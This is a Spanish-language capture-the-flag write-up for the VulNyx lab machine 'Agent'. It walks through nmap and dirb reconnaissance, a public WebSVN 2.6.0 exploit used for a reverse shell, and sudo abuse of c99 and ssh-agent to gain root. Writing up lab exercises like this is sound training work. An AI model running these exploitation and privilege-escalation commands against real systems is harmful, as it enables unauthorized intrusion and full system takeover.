> For the complete documentation index, see [llms.txt](https://beafn28.gitbook.io/beafn28/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://beafn28.gitbook.io/beafn28/writeups/vulnyx/agent.md).
# Agent
### 馃攳 **RECONOCIMIENTO**
En primer lugar, tras conectarnos a la m谩quina, utilizamos el comando:
```bash
ping -c 1 192.168.1.100
```
para verificar la conectividad de red.
A continuaci贸n, se realiza el comando:
```bash
nmap -p- --open 192.168.1.100 --min-rate 5000 -n
```
para realizar un escaneo de puertos y servicios detallado en la direcci贸n IP.
Como podemos observar durante el escaneo que el **puerto 22** perteneciente al **servicio SSH** y el **puerto 80** perteneciente al **servicio HTTP** est谩n abiertos por lo que a continuaci贸n se indagar谩 m谩s.
### 馃攷 **EXPLORACI脫N**
Se utiliza el comando:
```bash
sudo nmap -sCV -p22,80 -v 192.168.1.100
```
para obtener m谩s informaci贸n sobre ese puerto espec铆ficamente.
Revisamos el puerto 80. Corre un servidor Nginx.
Revisamos directorios.
```
dirb http://192.168.1.100/
```
Encontramos un directorio llamado **/websvn**.
### 馃殌 **EXPLOTACI脫N**
Comprobamos que la versi贸n sea vulnerable.
```bash
searchsploit websvn 2.6.0
```
Nos lo descargamos y cambiamos la IP para una Reverse Shell.
Ejecutamos mientras estamos en escucha.
```bash
python3 50042.py "http://192.168.1.100/websvn"
```
### 馃攼 PRIVILEGIOS
Al estar dentro y ejecutar:
```bash
whoami
```
a煤n no somos **root**, por lo que hacemos:
```bash
sudo -l
```
para ver si hay algo para explotar.
{% embed url="" %}
```bash
sudo -u dustin /usr/bin/c99 -wrapper /bin/sh,-s .
```
Realizando el mismo proceso encontramos que **dustin** tiene permisos SUDO en el binario **ssh-agent**.
{% embed url="" %}
```bash
sudo -u root /usr/bin/ssh-agent /bin/bash
```